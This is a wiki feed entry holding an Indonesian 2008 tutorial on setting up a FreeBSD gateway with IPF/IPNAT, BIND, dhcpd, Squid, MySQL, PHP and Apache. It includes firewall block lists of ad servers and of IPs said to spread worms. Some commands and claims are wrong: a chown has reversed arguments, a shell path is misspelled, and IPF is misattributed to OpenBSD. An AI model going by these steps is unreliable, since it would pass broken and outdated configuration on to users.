cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
/configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang perlu:&lt;br /&gt;
--prefix=/usr/local \&lt;br /&gt;
--bindir=\${prefix}/sbin \ &lt;br /&gt;
--libexecdir=\${prefix}/libexec \&lt;br /&gt;
--sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang mungkin perlu:&lt;br /&gt;
--enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
--enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
#parameter tambahan:&lt;br /&gt;
--localstatedir=\${prefix}/squid \&lt;br /&gt;
--host=i686 \&lt;br /&gt;
--disable-ident-lookups \&lt;br /&gt;
--disable-wccp \&lt;br /&gt;
--enable-kill-parent-hack \&lt;br /&gt;
--enable-time-hack \&lt;br /&gt;
--with-pthreads &lt;br /&gt;
&lt;br /&gt;
make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4661</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4661"/>
		<updated>2008-07-27T03:54:09Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* Konfigurasi named.conf yang perlu ditambahkan (atau dirubah): */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
   192.168.1.0 |  Proxy Server - Squid&lt;br /&gt;
  255.255.255.0|  SQL Server - MySQL&lt;br /&gt;
               |  &lt;br /&gt;
               |  &lt;br /&gt;
      _________|____...___    &lt;br /&gt;
     |     |     |        |  &lt;br /&gt;
   __|__ __|__ __|__    __|__&lt;br /&gt;
   Host1 Host2 Host3    HostN&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ada 3 pokok bahasan utama dalam kasus ini.&lt;br /&gt;
# DNS&lt;br /&gt;
# DHCP Server&lt;br /&gt;
# IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
lain-lain: Apache, MySQL dan Squid tidak akan dibahas panjang karena tidak esensial dalam konteks ini.&lt;br /&gt;
&lt;br /&gt;
==DNS==&lt;br /&gt;
&lt;br /&gt;
Untuk mengaktifkan name server jalankan /stand/sysinstal pilih menu Configure, kemudian Startup, lalu aktifkan (enable) named. Jika anda ingin menjalankan named dalam sandbox, isi named flags dengan argumen seperti dalam uraian butir 1.3.&lt;br /&gt;
&lt;br /&gt;
Cara lainnya adalah dengan mengedit langsung /etc/rc.conf, ganti atau tambahkan entri di &lt;br /&gt;
&lt;br /&gt;
 /etc/rc.conf:&lt;br /&gt;
   named_enable=&amp;quot;yes&amp;quot;&lt;br /&gt;
   named_flags=&amp;quot;&amp;quot;  #lihat uraian selanjutnya&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Cache-Only DNS Server==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi DNS yang paling sederhana, yang kemungkinan besar akan berjalan lancar adalah menggunakan konfigurasi jenis cache-only DNS Server, artinya server DNS kita TIDAK memiliki otoritas atas satu zone-pun juga kecuali localhost dan loopback network 127.&lt;br /&gt;
&lt;br /&gt;
Kekurangan dari model DNS Server seperti ini adalah, tentu saja, host-host dalam network kita tidak dapat saling mengenal. Hal ini bisa kita uji dengan perintah ping dari satu host terhadap host lainnya.&lt;br /&gt;
&lt;br /&gt;
cat.: Dalam terminologi BIND, zone adalah suatu area network dimana sebuah server DNS memiliki otoritas atas pengaturan nama atas host-host yang ada di dalamnya.&lt;br /&gt;
&lt;br /&gt;
Untuk network yang relatif sederhana seperti pada small-office atau di organisasi kecil, suatu zone umumnya hanya berupa satu domain, sementara di organisasi yang cukup besar, seperti di lingkungan kampus dan terutama di sebuah ISP, biasanya sebuah server DNS akan menangani suatu zone yang terdiri atas lebih dari satu domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP kita misalnya:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
 1 IN PTR localhost.domain.box.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Untuk menghindari salah ketik, sebaiknya kita cukup menjalankan perintah: sh make-localhost di direktori /etc/namedb.&lt;br /&gt;
&lt;br /&gt;
==File root.servers:==&lt;br /&gt;
File ini tidak perlu dirubah, biarkan saja sesuai defaultnya.&lt;br /&gt;
&lt;br /&gt;
==Internal-Root DNS Server==&lt;br /&gt;
Seperti dapat dilihat pada gambar diatas, network kita termasuk kedalam network kelas C, dengan alamat 192.168.1.0 dan netmask 255.255.255.0. IP address network card pertama (if_1) ditetapkan oleh ISP, sementara if_2 dapat kita tentukan sendiri.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya kita dapat menetapkan hal-hal sebagai berikut:&lt;br /&gt;
&lt;br /&gt;
 Zone/domain: domain.box&lt;br /&gt;
 Reverse-Network: 1.168.192.in-addr.arpa&lt;br /&gt;
 Server address: 192.168.1.1&lt;br /&gt;
 Server name: my.domain.box&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi dalam named.conf:==&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi awal (Cache-Only DNS Server):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/namedb&amp;quot;;&lt;br /&gt;
   forwarders {&lt;br /&gt;
   // daftar DNS Server ISP:&lt;br /&gt;
     202.155.0.10;&lt;br /&gt;
     202.155.0.20; &lt;br /&gt;
   };&lt;br /&gt;
   version &amp;quot;19.09.1969&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;0.0.127.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;localhost.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi named.conf yang perlu ditambahkan (atau dirubah):==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 forward;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;domain.box&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.db&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;1.168.192.in-addr.arpa&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;box/domain.rev&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;.&amp;quot; {&lt;br /&gt;
   type hint;&lt;br /&gt;
   //file &amp;quot;root.servers&amp;quot;;&lt;br /&gt;
   file &amp;quot;box/root.box&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==File-file database==&lt;br /&gt;
&lt;br /&gt;
==File localhost.rev:==&lt;br /&gt;
&lt;br /&gt;
Tidak perlu ada perubahan dalam file ini, sama dengan butir 1.1.2.1 diatas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==File domain.db:==&lt;br /&gt;
&lt;br /&gt;
Berisi daftar translasi name to address untuk seluruh host yang ada di domain domain.box, hati-hati character comment di sini adalah semi-colon (;) bukan hash (#).&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 localhost IN A 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
 my IN A 192.168.1.1&lt;br /&gt;
 host1 in cname my&lt;br /&gt;
 host2 IN A 192.168.1.2&lt;br /&gt;
 host3 IN A 192.168.1.3&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 ..&lt;br /&gt;
 host254 IN A 192.168.1.254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa dalam database ini kita perlu menambahkan entri untuk localhost, sehingga setiap rujukan atas localhost, dari manapun juga, akan diarahkan ke loopback masing-masing.&lt;br /&gt;
&lt;br /&gt;
==File domain.rev:==&lt;br /&gt;
Kebalikan dari domain.db, merupakan reverse address to name atas domain.box untuk network 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box. &lt;br /&gt;
&lt;br /&gt;
 1 IN PTR my&lt;br /&gt;
 2 IN PTR host1&lt;br /&gt;
 3 IN PTR host2&lt;br /&gt;
 ..&lt;br /&gt;
 254 IN PTR host254&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
cat.: Perhatikan bahwa tidak bisa dilakukan reverse untuk alias atau CNAME (canonical-name). Tidak diperbolehkan terdapat *dua entri yang sama* untuk *satu nomor address*, atau dengan kata lain, satu nomor adress tidak boleh merujuk kepada dua nama yang berbeda. Sebaliknya bisa saja terdapat dua nomor address untuk satu nama, misalnya jika kita memiliki dua atau lebih network card dalam satu host yang masing-masing memiliki IP sendiri.&lt;br /&gt;
&lt;br /&gt;
==File root.box:==&lt;br /&gt;
&lt;br /&gt;
File ini merupakan modifikasi dari file root.servers, yaitu dengan menambahkan RR (Resource Record) yang menyatakan bahwa server kita memiliki otoritas atas root domain.&lt;br /&gt;
&lt;br /&gt;
 @TTL 3600&lt;br /&gt;
 @ IN SOA my.domain.box. root.domain.box. (&lt;br /&gt;
   3600,900,36000,3600&lt;br /&gt;
   )&lt;br /&gt;
   IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;domain &amp;quot;domain.box&amp;quot; didelegasikan langsung dari root&lt;br /&gt;
 domain.box. 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;juga reverse dari class-C network &lt;br /&gt;
 1.168.192.in-addr.arpa 9999999 IN NS my.domain.box.&lt;br /&gt;
&lt;br /&gt;
 ;glue records&lt;br /&gt;
 my.domain.box. IN A 192.168.1.1&lt;br /&gt;
&lt;br /&gt;
 ;daftar root server selanjutnya sama dengan default di file root.servers&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==DNS Server in the sand-box==&lt;br /&gt;
&lt;br /&gt;
Konfigurasi server DNS ini terutama ditujukan untuk memperketat sekuriti sistem network, prinsipnya sederhana, yaitu menjalankan servis DNS (named) oleh non-privilege user, untuk ini biasanya sengaja dibuat satu user khusus, tanpa fasilitas login.&lt;br /&gt;
Sebenarnya untuk model network kita yang sederhana, ancaman sekuriti yang ada mungkin tidak akan terlalu serius. Konfigurasi ini bisa jadi sebagai opsi yang bisa diambil ataupun tidak.&lt;br /&gt;
&lt;br /&gt;
1.3.1&lt;br /&gt;
  Buat user baru untuk servis DNS, misalnya dengan nama: bind.&lt;br /&gt;
  User group: bind (default)&lt;br /&gt;
  User home: /usr/local/bind&lt;br /&gt;
  shell: no, nologin atau nonexistent&lt;br /&gt;
&lt;br /&gt;
1.3.2&lt;br /&gt;
  ganti atau tambahkan entri di /etc/rc.conf:&lt;br /&gt;
  named_flags=&amp;quot;-u bind -g bind -w /usr/local/bind -c named.conf -t /usr/local/bind&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  Penjelasan atas argumen:&lt;br /&gt;
  -u dan -g: user serta group yang menjalankan servis DNS adalah &amp;quot;bind&amp;quot;.&lt;br /&gt;
  -w dan -c: direktori kerja dan nama file konfigurasi yang dipakai.&lt;br /&gt;
  -t: setelah melakukan inisialisasi, servis DNS menjadikan /usr/local/bind&lt;br /&gt;
  sebagai root direktorinya (chroot).&lt;br /&gt;
&lt;br /&gt;
  Dengan penggantian user, group dan chroot, servis DNS ini tidak lagi memiliki akses tak-terbatas atas resources, sehingga perlu dilakukan lagi beberapa penyesuaian:&lt;br /&gt;
&lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Servis named dan ndc biasanya menampilkan prosess-id-nya dibawah sub-direktori /var/run, karena root-directory-nya berubah, maka kita harus membuat secara manual subdirektori /var/run dibawah /usr/local/bind, jangan lupa ownershipnya harus disesuaikan menjadi bind:bind&lt;br /&gt;
  &lt;br /&gt;
1.3.2.1&lt;br /&gt;
&lt;br /&gt;
  Jika penyesuaian sub-direktori diatas tidak dilakukan maka setidaknya harus dibuat penyesuaian dalam option named.conf:&lt;br /&gt;
[pre]&lt;br /&gt;
  options {&lt;br /&gt;
    ...&lt;br /&gt;
&lt;br /&gt;
    directory &amp;quot;/&amp;quot;; //(atau mudahnya hapus saja option ini)&lt;br /&gt;
    pid-file &amp;quot;named.pid&amp;quot; //named.pid berada di direktori root yang baru&lt;br /&gt;
&lt;br /&gt;
    ...&lt;br /&gt;
  }&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
1.3.3&lt;br /&gt;
&lt;br /&gt;
  Pindahkan atau salin /etc/namedb ke /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
[pre]&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
